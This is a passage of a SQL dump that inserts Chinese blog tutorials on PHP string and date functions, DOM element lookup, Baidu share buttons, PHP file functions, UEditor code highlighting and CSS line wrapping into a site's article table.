class=\"brush:html;toolbar:false\">Hello&nbsp;LiLei！&nbsp;欢迎访问码代码&nbsp;李雷博客www.mdaima.com！</pre><p>上面这段代码示例就是PHP函数implode()的具体使用功能和用法。</p><p>再多啰嗦几句，这个函数我经常用的地方是POST接收表单type=&quot;checkbox&quot;的数据，将input的name加上“[]”表示以数组形式获取数据，接收到的数据格式为以指定分隔符分开的数组。例子如下：</p><pre class=\"brush:html;toolbar:false\">&lt;input&nbsp;name=&quot;keyword[]&quot;&nbsp;type=&quot;checkbox&quot;&nbsp;value=&quot;MYSQL&quot;&nbsp;/&gt;\r\n&lt;input&nbsp;name=&quot;keyword[]&quot;&nbsp;type=&quot;checkbox&quot;&nbsp;value=&quot;HTML&quot;&nbsp;/&gt;</pre><pre class=\"brush:php;toolbar:false\">&lt;?php\r\n&nbsp;&nbsp;&nbsp;&nbsp;$keyword=$_POST[&#39;keyword&#39;];//接收表单值\r\n&nbsp;&nbsp;&nbsp;&nbsp;$keyword&nbsp;=&nbsp;implode(&quot;,&quot;,$keyword);//将接收的数组转为字符串，我是以半角逗号（,）为分隔符\r\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$keyword;\r\n?&gt;</pre><p>输出结果为：</p><pre class=\"brush:html;toolbar:false\">MYSQL,HTML</pre><p>这个时候就可以将implode()函数转完的字符串，保存在数据库中了。</p><hr/><p>PHP函数explode()是把字符串以指定字符分隔形成数组。<br/></p><p>函数用法：explode(separator,string,limit)<br/>参数 separator 必需。规定以什么字符分割字符串。可以是逗号（,）或分隔符号（|）。&nbsp;<br/>参数 string 必需。要被分割的目标字符串。&nbsp;<br/>参数 limit 是可选的。规定所返回的数组元素的数目。一般情况下这个我是用不到的，而且我也理解不太懂，总之很少用到。</p><p><strong>PHP函数explode()的例子</strong></p><p>explode()函数主要是用于将读取出来的字符串转为数组形式用于分别读取，代码如下：<br/></p><pre class=\"brush:php;toolbar:false\">&lt;?php\r\n&nbsp;&nbsp;&nbsp;&nbsp;$keyword_array=explode(&#39;,&#39;,$keyword);&nbsp;//$keyword为从数据库中读取出来的字符串，比如读取出的$keyword=&#39;PHP,HTML,MSQL&#39;\r\n&nbsp;&nbsp;&nbsp;&nbsp;$keyword_str=&#39;&#39;;//设置初始变量为空\r\n&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;($i=0;$i&lt;count($keyword_array);$i++){\r\n&nbsp;&nbsp;&nbsp;&nbsp;	$keyword_str.=$keyword_array[$i].&quot;---&quot;;\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;substr($keyword_str,0,-3);//截取最后面3位的---，这样看起来来整齐一点（我有强迫症，呵呵）\r\n?&gt;</pre><p>输出结果为：</p><pre class=\"brush:html;toolbar:false\">PHP---HTML---MYSQL</pre>', '6428', '1', '', '1', '');
INSERT INTO `lei_jingyan` VALUES ('6', 'PHP函数date()用法及相关参数详解', 'PAAAAA HAAAAA PAAAAA 26152615 42934293 dAAAAA aAAAAA tAAAAA eAAAAA -120-160-120-160 -119-160-119-160 51355135 23082308 28162816 47644764 25562556 18461846 42934293 47744774 29662966', '', '0', '-6-', '../upload_image/2015/09/17/150917954959857478', '2015-09-17 21:11:35', '本站整理', '<p>time()在PHP中是可到一个数字即时间戳,这个数字表示从1970-01-01到现在共走了多少秒,很奇怪吧！所以计算时间就用下面的方式：<br/></p><pre class=\"brush:html;toolbar:false;\">要找出前一天的时间就是&nbsp;time()-60*60*24;&nbsp;\r\n要找出前一年的时间就是&nbsp;time()*60*60*24*365</pre><p>要想在PHP页面调用时间，为保证准确度，应该在页面的最前页加上时区的设置<br/></p><pre class=\"brush:php;toolbar:false\">date_default_timezone_set&nbsp;(&quot;PRC&quot;);&nbsp;//&nbsp;把时区设置为北京，这样时间就同步为北京时间了，php5默认为格林威治标准时间，所以这里一定要注意，如果发现时间不对就查一下是不是这里没有设置正确吧！</pre><p>那么如何把这个时间戳数字换成日期格式呢,就要用到date函数了&nbsp;</p><pre class=\"brush:php;toolbar:false\">$datetime=time();&nbsp;//获取时间戳\r\necho&nbsp;date(&quot;Y-m-d&nbsp;H:i:s&quot;,$datetime);//将时间戳转换为要求的日期时间格式\r\necho&nbsp;date(&quot;Y年m月d日&nbsp;H点i分s秒&quot;,$datetime);//其实上面的横杠（-）可以换成任意字符，只要你喜欢，呵呵</pre><p>输出结果为：2015-12-18 12:23:35</p><p>那如何把日期转为时间戳格式呢，就是转成一串数字（秒）</p><pre class=\"brush:php;toolbar:false\">$str=&#39;2015-12-18&nbsp;12:23:35&#39;;//设置时间变量\r\necho&nbsp;strtotime($str);将标准的日期时间格式转为以秒为单位的时间戳数字，这里要注意，用strtotime()函数，要求被转换的时期时间为标准格式，如果用了年、月、日这种就不行了，要先转换为标准格式才行！</pre><p>输出结果为：1450441415</p><p><strong>另附其它date()函数相关参数的说明：</strong></p><pre class=\"brush:html;toolbar:false;\">a&nbsp;-&nbsp;&quot;am&quot;&nbsp;或是&nbsp;&quot;pm&quot;&nbsp;&nbsp;\r\nA&nbsp;-&nbsp;&quot;AM&quot;&nbsp;或是&nbsp;&quot;PM&quot;&nbsp;&nbsp;\r\nd&nbsp;-&nbsp;几日，二位数字，若不足二位则前面补零;&nbsp;如:&nbsp;&quot;01&quot;&nbsp;至&nbsp;&quot;31&quot;&nbsp;&nbsp;\r\nD&nbsp;-&nbsp;星期几，三个英文字母;&nbsp;如:&nbsp;&quot;Fri&quot;&nbsp;&nbsp;\r\nF&nbsp;-&nbsp;月份，英文全名;&nbsp;如:&nbsp;&quot;January&quot;&nbsp;&nbsp;\r\nh&nbsp;-&nbsp;12&nbsp;小时制的小时;&nbsp;如:&nbsp;&quot;01&quot;&nbsp;至&nbsp;&quot;12&quot;&nbsp;&nbsp;\r\nH&nbsp;-&nbsp;24&nbsp;小时制的小时;&nbsp;如:&nbsp;&quot;00&quot;&nbsp;至&nbsp;&quot;23&quot;&nbsp;&nbsp;\r\ng&nbsp;-&nbsp;12&nbsp;小时制的小时，不足二位不补零;&nbsp;如:&nbsp;&quot;1&quot;&nbsp;至&nbsp;12&quot;&nbsp;&nbsp;\r\nG&nbsp;-&nbsp;24&nbsp;小时制的小时，不足二位不补零;&nbsp;如:&nbsp;&quot;0&quot;&nbsp;至&nbsp;&quot;23&quot;&nbsp;&nbsp;\r\ni&nbsp;-&nbsp;分钟;&nbsp;如:&nbsp;&quot;00&quot;&nbsp;至&nbsp;&quot;59&quot;&nbsp;&nbsp;\r\nj&nbsp;-&nbsp;几日，二位数字，若不足二位不补零;&nbsp;如:&nbsp;&quot;1&quot;&nbsp;至&nbsp;&quot;31&quot;&nbsp;&nbsp;\r\nl&nbsp;-&nbsp;星期几，英文全名;&nbsp;如:&nbsp;&quot;Friday&quot;&nbsp;&nbsp;\r\nL&nbsp;-&nbsp;是否为闰年，如果是闰年为&nbsp;1，否则为&nbsp;0\r\nm&nbsp;-&nbsp;月份，二位数字，若不足二位则在前面补零;&nbsp;如:&nbsp;&quot;01&quot;&nbsp;至&nbsp;&quot;12&quot;&nbsp;&nbsp;\r\nn&nbsp;-&nbsp;月份，二位数字，若不足二位则不补零;&nbsp;如:&nbsp;&quot;1&quot;&nbsp;至&nbsp;&quot;12&quot;&nbsp;&nbsp;\r\nM&nbsp;-&nbsp;月份，三个英文字母;&nbsp;如:&nbsp;&quot;Jan&quot;&nbsp;&nbsp;\r\ns&nbsp;-&nbsp;秒;&nbsp;如:&nbsp;&quot;00&quot;&nbsp;至&nbsp;&quot;59&quot;&nbsp;&nbsp;\r\nS&nbsp;-&nbsp;字尾加英文序数，二个英文字母;&nbsp;如:&nbsp;&quot;th&quot;，&quot;nd&quot;&nbsp;&nbsp;\r\nt&nbsp;-&nbsp;指定月份的天数;&nbsp;如:&nbsp;&quot;28&quot;&nbsp;至&nbsp;&quot;31&quot;&nbsp;&nbsp;\r\nU&nbsp;-&nbsp;总秒数&nbsp;&nbsp;\r\nw&nbsp;-&nbsp;数字型的星期几，如:&nbsp;&quot;0&quot;&nbsp;(星期日)&nbsp;至&nbsp;&quot;6&quot;&nbsp;(星期六)&nbsp;&nbsp;\r\nY&nbsp;-&nbsp;年，四位数字;&nbsp;如:&nbsp;&quot;1999&quot;&nbsp;&nbsp;\r\ny&nbsp;-&nbsp;年，二位数字;&nbsp;如:&nbsp;&quot;99&quot;&nbsp;&nbsp;\r\nz&nbsp;-&nbsp;一年中的第几天;&nbsp;如:&nbsp;&quot;0&quot;&nbsp;至&nbsp;&quot;365&quot;</pre><p><strong>使用示例：</strong></p><pre class=\"brush:php;toolbar:false\">//如果想获取当前日期的月份，要求为二位数字，不足二位则补0，我们可以这样写：\r\necho&nbsp;date(&quot;m&quot;);\r\n//如果想获取当前日期是星期几，要求英文全名，我们可以这样写：\r\necho&nbsp;date(&quot;l&quot;);</pre>', '2147', '1', '', '1', '');
INSERT INTO `lei_jingyan` VALUES ('7', 'document.getElementById与getElementByName的不同与用法详解', 'dAAAAA oAAAAA cAAAAA uAAAAA mAAAAA eAAAAA nAAAAA tAAAAA -114-160-114-160 gAAAAA eAAAAA tAAAAA EAAAAA lAAAAA eAAAAA mAAAAA eAAAAA nAAAAA tAAAAA BAAAAA yAAAAA IAAAAA dAAAAA 51755175 gAAAAA eAAAAA tAAAAA EAAAAA lAAAAA eAAAAA mAAAAA eAAAAA nAAAAA tAAAAA BAAAAA yAAAAA NAAAAA aAAAAA mAAAAA eAAAAA 21362136 18271827 45124512 51755175 51355135 23082308 47744774 29662966', '', '0', '-12-,-13-', '../upload_image/2015/09/21/150921230876113289', '2015-09-21 16:11:27', '本站整理', '<p>1、id就像身分证号，是唯一的，name就像姓名一样可以同名；<br/></p><p>2、一个元素定义了id，引用该元素时直接用id属性，而name通常用在form中，且必须由document.form.***而来，也就是说，name属性定义的元素在脚本中是document对象的子对象。</p><p>3、name用于form内元素用于提交表单，id用于form外元素好用因为DOM能直接取得单一元素</p><pre class=\"brush:js;toolbar:false\">document.getElementById(&quot;id_Number&quot;)</pre><p>得到的是单个元素<br/></p><pre class=\"brush:js;toolbar:false\">document.getElementsByName(&quot;name&quot;)</pre><p>得到的是数组<br/></p><p>4、id每页只能有一个，name可以有多个，name有些标签不推荐用它</p><pre class=\"brush:html;toolbar:false\">取得&nbsp;id：document.getElementById(&quot;idname&quot;)\r\n取得&nbsp;name：document.getElementsByName(&quot;name&quot;)[0或1或2或3....]</pre><p>5、表单元素(form，input，textarea，select)与框架元素(iframe，frame)用name，这些元素都与表单(框架元素作用于form的target)提交有关，在表单的接收页面只接收有name的元素，赋ID的元素通过表单是接收不到值的，你自己可以验证一下。有一个例外:A可以赋name作为锚点，也可以赋ID；</p><p style=\"text-indent: 2em;\"><span style=\"color: rgb(255, 0, 0);\">需要注意的是，在码代码的时候，一定要注意大小写问题，否则可能造成代码不能正确执行。（记录：document.getElementById(&quot;ID&quot;).innerHTML，这里的innerHTML也要注意大小写）另外，document.getElementById(&quot;IDNAME&quot;)&nbsp;得到的是一个对象，用 alert&nbsp;显示得到的是“object”，而不是具体的值，它有 value&nbsp;和 length&nbsp;等属性，加上 .value&nbsp;得到的才是具体的值！</span></p>', '3060', '1', '1', '1', '');
INSERT INTO `lei_jingyan` VALUES ('8', '讲一讲如何在一个页面中使用多个百度分享按钮，分享不同的文章', '29182918 50275027 29182918 40714071 26462646 52585258 50275027 24862486 50195019 35703570 54485448 42254225 51355135 22642264 24862486 16571657 22402240 23542354 47774777 16201620 37053705 03120312 23542354 47774777 18271827 45124512 21362136 46364636 53345334', '', '0', '-9-,-12-,-13-', '../upload_image/2015/09/21/150921254577658810', '2015-09-21 16:50:57', '本站原创', '<p style=\"text-indent: 2em;\">大家在使用百度分享按钮的时候，虽然很容易就能实现我们对单一固定文章的分享功能，但如果一个页面中有多篇文章，比如是一个列表页面，每个文章旁边都想加一个分享按钮，点击不同图标可以对应分享不同的文章，比如码代码-李雷博客（<a href=\"http://www.mdaima.com\" target=\"_blank\" title=\"码代码-李雷博客\" style=\"font-size: 14px; text-decoration: underline;\"><span style=\"font-size: 14px;\">www.mdaima.com</span></a>）中“PHP技术经验分享”与“资讯视频”栏目的文章列表样式，这样如何做到呢？</p><p style=\"text-indent: 2em;\"><span style=\"text-indent: 2em;\">现在就讲一讲如何在一个页面中使用多个百度分享按钮，分享不同的文章。</span></p><pre class=\"brush:php;toolbar:false;\">&lt;?&nbsp;\r\n$bdshare_array=&#39;&#39;;//默认设置百度分享按钮为自定义内容为空\r\nfor&nbsp;($i=1;$i&lt;=10;$i++){&nbsp;//比如从数据库中读取10篇文章在列表中显示\r\n	//生成百度分享不同的自定义按钮数组\r\n	$bdshare_array.=&#39;{&quot;tag&quot;&nbsp;:&nbsp;&quot;share_&#39;.$i.&#39;&quot;,&quot;bdText&quot;:&quot;解决Nginx&nbsp;Helper插件一键清理缓存功能导致网站打不开问题&#39;.$i.&#39;&quot;,&quot;bdDesc&quot;:&quot;这个功能的绝佳搭配&#39;.$i.&#39;&quot;,&quot;bdPic&quot;:&quot;http://www.mdaima.cn/upload_image/2015/09/05/&#39;.$i.&#39;.jpg&quot;},&#39;;//结尾的半角逗号别丢了\r\n	//这里的tag值要与DIV中的data-tag值保持一致。其它的bdText，bdDesc，bdPic，这些分别为弹出的分享页面中的标题、描述、图片，我在结尾都加入了一个$i变量，是为了告诉大家这里是从数据库中读取的信息，是有变化的，大家在使用时直接从数据库中读取真实标题和引用图片就行了\r\n?&gt;\r\n	&lt;div&nbsp;class=&quot;bdsharebuttonbox&quot;&nbsp;data-tag=&quot;share_&lt;?=$i?&gt;&quot;&gt;\r\n		&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_qzone&quot;&nbsp;data-cmd=&quot;qzone&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tsina&quot;&nbsp;data-cmd=&quot;tsina&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tqq&quot;&nbsp;data-cmd=&quot;tqq&quot;&nbsp;&gt;&lt;/a&gt;\r\n	&lt;/div&gt;\r\n&lt;?&nbsp;}?&gt;</pre><p>以上是如何从数据库中读取数据并形成列表。</p><p>下面这个就是如何引用自定义的百度分享按钮，并让其生效了。</p><pre class=\"brush:html;toolbar:false\">&lt;script&gt;\r\n	//百度分享按钮\r\n	&lt;?&nbsp;$bdshare_array=substr($bdshare_array,0,-1);//去掉最后一位半角逗号（,）?&gt;\r\n\r\n	window._bd_share_config={&quot;common&quot;:{&quot;bdSnsKey&quot;:{},&quot;bdMini&quot;:&quot;1&quot;,&quot;bdMiniList&quot;:false,&quot;bdStyle&quot;:&quot;2&quot;,&quot;bdSize&quot;:&quot;16&quot;},&quot;share&quot;:&nbsp;[&lt;?=$bdshare_array?&gt;]};with(document)0[(getElementsByTagName(&#39;head&#39;)[0]||body).appendChild(createElement(&#39;script&#39;)).src=&#39;http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion=&#39;+~(-new&nbsp;Date()/36e5)];\r\n&lt;/script&gt;</pre><p><strong>实际使用输出后的标准代码为：</strong><br/></p><pre class=\"brush:html;toolbar:false\">&lt;div&nbsp;class=&quot;bdsharebuttonbox&quot;&nbsp;data-tag=&quot;share_1&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n	&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_qzone&quot;&nbsp;data-cmd=&quot;qzone&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tsina&quot;&nbsp;data-cmd=&quot;tsina&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tqq&quot;&nbsp;data-cmd=&quot;tqq&quot;&nbsp;&gt;&lt;/a&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&lt;/div&gt;\r\n&lt;div&nbsp;class=&quot;bdsharebuttonbox&quot;&nbsp;data-tag=&quot;share_2&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n	&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_qzone&quot;&nbsp;data-cmd=&quot;qzone&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tsina&quot;&nbsp;data-cmd=&quot;tsina&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tqq&quot;&nbsp;data-cmd=&quot;tqq&quot;&nbsp;&gt;&lt;/a&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&lt;/div&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&lt;div&nbsp;class=&quot;bdsharebuttonbox&quot;&nbsp;data-tag=&quot;share_3&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n	&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_qzone&quot;&nbsp;data-cmd=&quot;qzone&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tsina&quot;&nbsp;data-cmd=&quot;tsina&quot;&nbsp;&gt;&lt;/a&gt;&lt;a&nbsp;href=&quot;#&quot;&nbsp;class=&quot;bds_tqq&quot;&nbsp;data-cmd=&quot;tqq&quot;&nbsp;&gt;&lt;/a&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&lt;/div&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n&lt;script&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\n	//百度分享按钮&nbsp;&nbsp;&nbsp;&nbsp;\r\n	window._bd_share_config={&quot;common&quot;:{&quot;bdSnsKey&quot;:{},&quot;bdMini&quot;:&quot;1&quot;,&quot;bdMiniList&quot;:false,&quot;bdStyle&quot;:&quot;2&quot;,&quot;bdSize&quot;:&quot;16&quot;},&quot;share&quot;:&nbsp;[\r\n	{&quot;tag&quot;&nbsp;:&nbsp;&quot;share_1&quot;,&quot;bdText&quot;:&quot;标题1&quot;,&quot;bdDesc&quot;:&quot;描述1&quot;,&quot;bdPic&quot;:&quot;http://www.mdaima.com/1.jpg&quot;},\r\n	{&quot;tag&quot;&nbsp;:&nbsp;&quot;share_2&quot;,&quot;bdText&quot;:&quot;标题2&quot;,&quot;bdDesc&quot;:&quot;描述2&quot;,&quot;bdPic&quot;:&quot;http://www.mdaima.com/2.jpg&quot;},\r\n	{&quot;tag&quot;&nbsp;:&nbsp;&quot;share_3&quot;,&quot;bdText&quot;:&quot;标题3&quot;,&quot;bdDesc&quot;:&quot;描述3&quot;,&quot;bdPic&quot;:&quot;http://www.mdaima.com/3.jpg&quot;}\r\n	]};with(document)0[(getElementsByTagName(&#39;head&#39;)[0]||body).appendChild(createElement(&#39;script&#39;)).src=&#39;http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion=&#39;+~(-new&nbsp;Date()/36e5)];&nbsp;&nbsp;&nbsp;&nbsp;\r\n&lt;/script&gt;</pre>', '2426', '1', '1', '1', '');
INSERT INTO `lei_jingyan` VALUES ('10', 'PHP常用文件函数名称与功能介绍大全', 'PAAAAA HAAAAA PAAAAA 19031903 51355135 46364636 28942894 26152615 42934293 35913591 19381938 51755175 25062506 36603660 29732973 41604160 20832083 40114011', '', '0', '-1-,-6-', '../upload_image/2015/09/22/836a3e7646626fa05776ab350607cac9', '2015-09-22 09:40:01', 'PHP100', '<p style=\"text-indent: 2em;\">文件操作一直是Web程序员头疼的地方，而文件操作在CMS这样的系统中又是必须的。如今，PHP文件操作的函数内容已经非常强大，文件这部分也是学习PHP非常重要的一部分，希望大家不要忽略。这篇文章会简单介绍一下PHP的几个基本文件操作，最后附有PHP文件函数汇总，供大家参考和学习。</p><pre class=\"brush:html;toolbar:false\">basename&nbsp;—&nbsp;返回路径中的文件名部分&nbsp;\r\nchgrp&nbsp;—&nbsp;改变文件所属的组&nbsp;\r\nchmod&nbsp;—&nbsp;改变文件模式&nbsp;\r\nchown&nbsp;—&nbsp;改变文件的所有者&nbsp;\r\nclearstatcache&nbsp;—&nbsp;清除文件状态缓存&nbsp;\r\ncopy&nbsp;—&nbsp;拷贝文件&nbsp;\r\ndelete&nbsp;—&nbsp;参见&nbsp;unlink()&nbsp;或&nbsp;unset()&nbsp;\r\ndirname&nbsp;—&nbsp;返回路径中的目录部分&nbsp;\r\ndisk_free_space&nbsp;—&nbsp;返回目录中的可用空间&nbsp;\r\ndisk_total_space&nbsp;—&nbsp;返回一个目录的磁盘总大小&nbsp;\r\ndiskfreespace&nbsp;—&nbsp;disk_free_space()的别名&nbsp;\r\nfclose&nbsp;—&nbsp;关闭一个已打开的文件指针&nbsp;\r\nfeof&nbsp;—&nbsp;测试文件指针是否到了文件结束的位置&nbsp;\r\nfflush&nbsp;—&nbsp;将缓冲内容输出到文件&nbsp;\r\nfgetc&nbsp;—&nbsp;从文件指针中读取字符&nbsp;\r\nfgetcsv&nbsp;—&nbsp;从文件指针中读入一行并解析&nbsp;CSV&nbsp;字段&nbsp;\r\nfgets&nbsp;—&nbsp;从文件指针中读取一行&nbsp;\r\nfgetss&nbsp;—&nbsp;从文件指针中读取一行并过滤掉&nbsp;HTML&nbsp;标记&nbsp;\r\nfile_exists&nbsp;—&nbsp;检查文件或目录是否存在&nbsp;\r\nfile_get_contents&nbsp;—&nbsp;将整个文件读入一个字符串&nbsp;\r\nfile_put_contents&nbsp;—&nbsp;将一个字符串写入文件&nbsp;\r\nfile&nbsp;—&nbsp;把整个文件读入一个数组中&nbsp;\r\nfileatime&nbsp;—&nbsp;取得文件的上次访问时间&nbsp;\r\nfilectime&nbsp;—&nbsp;这个PHP文件函数取得文件的&nbsp;inode&nbsp;修改时间&nbsp;\r\nfilegroup&nbsp;—&nbsp;取得文件的组&nbsp;\r\nfileinode&nbsp;—&nbsp;取得文件的&nbsp;inode&nbsp;\r\nfilemtime&nbsp;—&nbsp;取得文件修改时间&nbsp;\r\nfileowner&nbsp;—&nbsp;取得文件的所有者&nbsp;\r\nfileperms&nbsp;—&nbsp;取得文件的权限&nbsp;\r\nfilesize&nbsp;—&nbsp;取得文件大小&nbsp;\r\nfiletype&nbsp;—&nbsp;取得文件类型&nbsp;\r\nflock&nbsp;—&nbsp;轻便的咨询文件锁定&nbsp;\r\nfnmatch&nbsp;—&nbsp;用模式匹配文件名&nbsp;\r\nfopen&nbsp;—&nbsp;打开文件或者&nbsp;URL&nbsp;\r\nfpassthru&nbsp;—&nbsp;输出文件指针处的所有剩余数据&nbsp;\r\nfputcsv&nbsp;—&nbsp;将行格式化为&nbsp;CSV&nbsp;并写入文件指针&nbsp;\r\nfputs&nbsp;—&nbsp;fwrite()的别名&nbsp;\r\nfread&nbsp;—&nbsp;读取文件（可安全用于二进制文件）&nbsp;\r\nfscanf&nbsp;—&nbsp;从文件中格式化输入&nbsp;\r\nfseek&nbsp;—&nbsp;在文件指针中定位&nbsp;\r\nfstat&nbsp;—&nbsp;通过已打开的文件指针取得文件信息&nbsp;\r\nftell&nbsp;—&nbsp;返回文件指针读/写的位置&nbsp;\r\nftruncate&nbsp;—&nbsp;将文件截断到给定的长度&nbsp;\r\nfwrite&nbsp;—&nbsp;写入文件（可安全用于二进制文件）&nbsp;\r\nglob&nbsp;—&nbsp;寻找与模式匹配的文件路径&nbsp;\r\nis_dir&nbsp;—&nbsp;该PHP文件函数判断给定文件名是否是一个目录&nbsp;\r\nis_executable&nbsp;—&nbsp;判断给定文件名是否可执行&nbsp;\r\nis_file&nbsp;—&nbsp;判断给定文件名是否为一个正常的文件&nbsp;\r\nis_link&nbsp;—&nbsp;判断给定文件名是否为一个符号连接&nbsp;\r\nis_readable&nbsp;—&nbsp;判断给定文件名是否可读&nbsp;\r\nis_uploaded_file&nbsp;—&nbsp;判断文件是否是通过&nbsp;HTTP&nbsp;POST&nbsp;上传的&nbsp;\r\nis_writable&nbsp;—&nbsp;判断给定的文件名是否可写&nbsp;\r\nis_writeable&nbsp;—&nbsp;is_writable()的别名&nbsp;\r\nlink&nbsp;—&nbsp;建立一个硬连接&nbsp;\r\nlinkinfo&nbsp;—&nbsp;获取一个连接的信息&nbsp;\r\nlstat&nbsp;—&nbsp;给出一个文件或符号连接的信息&nbsp;\r\nmkdir&nbsp;—&nbsp;新建目录&nbsp;\r\nmove_uploaded_file&nbsp;—&nbsp;将上传的文件移动到新位置&nbsp;\r\nparse_ini_file&nbsp;—&nbsp;解析一个配置文件&nbsp;\r\npathinfo&nbsp;—&nbsp;返回文件路径的信息&nbsp;\r\npclose&nbsp;—&nbsp;关闭进程文件指针&nbsp;\r\npopen&nbsp;—&nbsp;打开进程文件指针&nbsp;\r\nreadfile&nbsp;—&nbsp;输出一个文件&nbsp;\r\nreadlink&nbsp;—&nbsp;返回符号连接指向的目标&nbsp;\r\nrealpath&nbsp;—&nbsp;返回规范化的绝对路径名&nbsp;\r\nrename&nbsp;—&nbsp;重命名一个文件或目录&nbsp;\r\nrewind&nbsp;—&nbsp;倒回文件指针的位置&nbsp;\r\nrmdir&nbsp;—&nbsp;删除目录&nbsp;\r\nset_file_buffer&nbsp;—&nbsp;stream_set_write_buffer()的别名&nbsp;\r\nstat&nbsp;—&nbsp;给出文件的信息&nbsp;\r\nsymlink&nbsp;—&nbsp;建立符号连接&nbsp;\r\ntempnam&nbsp;—&nbsp;建立一个具有唯一文件名的文件&nbsp;\r\ntmpfile&nbsp;—&nbsp;建立一个临时文件&nbsp;\r\ntouch&nbsp;—&nbsp;设定文件的访问和修改时间&nbsp;\r\numask&nbsp;—&nbsp;改变当前的&nbsp;umask&nbsp;\r\nunlink&nbsp;—&nbsp;删除文件</pre>', '2834', '1', '', '1', '');
INSERT INTO `lei_jingyan` VALUES ('12', '解决百度编辑器UEditor保持前台与后台代码高亮显示一致的样式及换行的问题', '29662966 30863086 16571657 22402240 17641764 28132813 38873887 UAAAAA EAAAAA dAAAAA iAAAAA tAAAAA oAAAAA rAAAAA 17031703 19541954 39163916 44084408 51755175 26832683 44084408 20902090 34753475 24632463 33333333 47524752 42304230 50275027 54345434 21362136 49894989 42294229 28162816 27272727 48484848 21362136 46424642 44664466', '', '0', '-9-,-12-,-13-', '../upload_image/2015/09/22/7c712f9fcdc333e082ab9b60e2ad4dff', '2015-09-22 15:16:18', '本站整理', '<p style=\"text-indent: 2em;\">写技术文章的时候，通常需要插入代码，为了美观，百度编辑器-UEditor给我们提供了一个漂亮的边框。但是有一个问题是就在后台编辑器编辑、预览的时候都能看的到，一发布到前台就没有了。这个问题，官方给出了答案。</p><p style=\"text-indent: 2em;\">只需要在前台需要显示代码的页面调用如下代码，即可<span style=\"text-indent: 2em;\">得到和这个一样的效果了！</span></p><pre class=\"brush:html;toolbar:false\">&lt;!--高亮代码&nbsp;--&gt;\r\n&lt;link&nbsp;href=&quot;/ueditor_baidu/third-party/SyntaxHighlighter/shCoreDefault.css&quot;&nbsp;rel=&quot;stylesheet&quot;&nbsp;type=&quot;text/css&quot;&nbsp;/&gt;\r\n&lt;script&nbsp;type=&quot;text/javascript&quot;&nbsp;src=&quot;/ueditor_baidu/third-party/SyntaxHighlighter/shCore.js&quot;&gt;&lt;/script&gt;\r\n&lt;script&nbsp;type=&quot;text/javascript&quot;&gt;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;SyntaxHighlighter.all();\r\n&lt;/script&gt;</pre><p style=\"text-indent: 2em;\">百度ueditor前台代码自动换行解决方法</p><p style=\"text-indent: 2em;\">百度编辑器ueditor在文章内部插入代码高亮显示，后台编辑器中可以自动换行，但发表后前台显示无法自动换行，可以通过修改/shCoreDefault.css代码实现换行（不过好像最新版本的编辑器已经修复了这个问题），如果不行也可以在外面设置一个DIV并用CSS进行限制：</p><pre class=\"brush:html;toolbar:false\">white-space:pre-wrap;word-wrap:break-all;</pre>', '6261', '1', '', '1', '');
INSERT INTO `lei_jingyan` VALUES ('13', 'CSS强制中文、英文换行与不换行的方法详解', 'CAAAAA SAAAAA SAAAAA 39313931 54385438 54485448 46364636 01020102 51025102 46364636 27272727 48484848 51755175 18271827 27272727 48484848 21362136 23292329 23082308 47744774 29662966', '', '0', '-4-,-13-', '../upload_image/2015/09/22/6c2e80b4dffde9f01422d5b8c16762ce', '2015-09-21 15:26:14', '互联网转载', '<p>1. word-break:break-all;只对英文起作用，以字母作为换行依据<br style=\"text-indent: 2em; text-align: left;\"/>2. word-wrap:break-word; 只对英文起作用，以单词作为换行依据<br style=\"text-indent: 2em; text-align: left;\"/>3. white-space:pre-wrap; 只对中文起作用，强制换行<br style=\"text-indent: 2em; text-align: left;\"/>4. white-space:nowrap; 强制不换行，都起作用<br style=\"text-indent: 2em; text-align: left;\"/>5. white-space:nowrap; overflow:hidden; text-overflow:ellipsis;不换行，超出部分隐藏且以省略号形式出现（部分浏览器支持）</p><p>代码：&nbsp;</p><pre 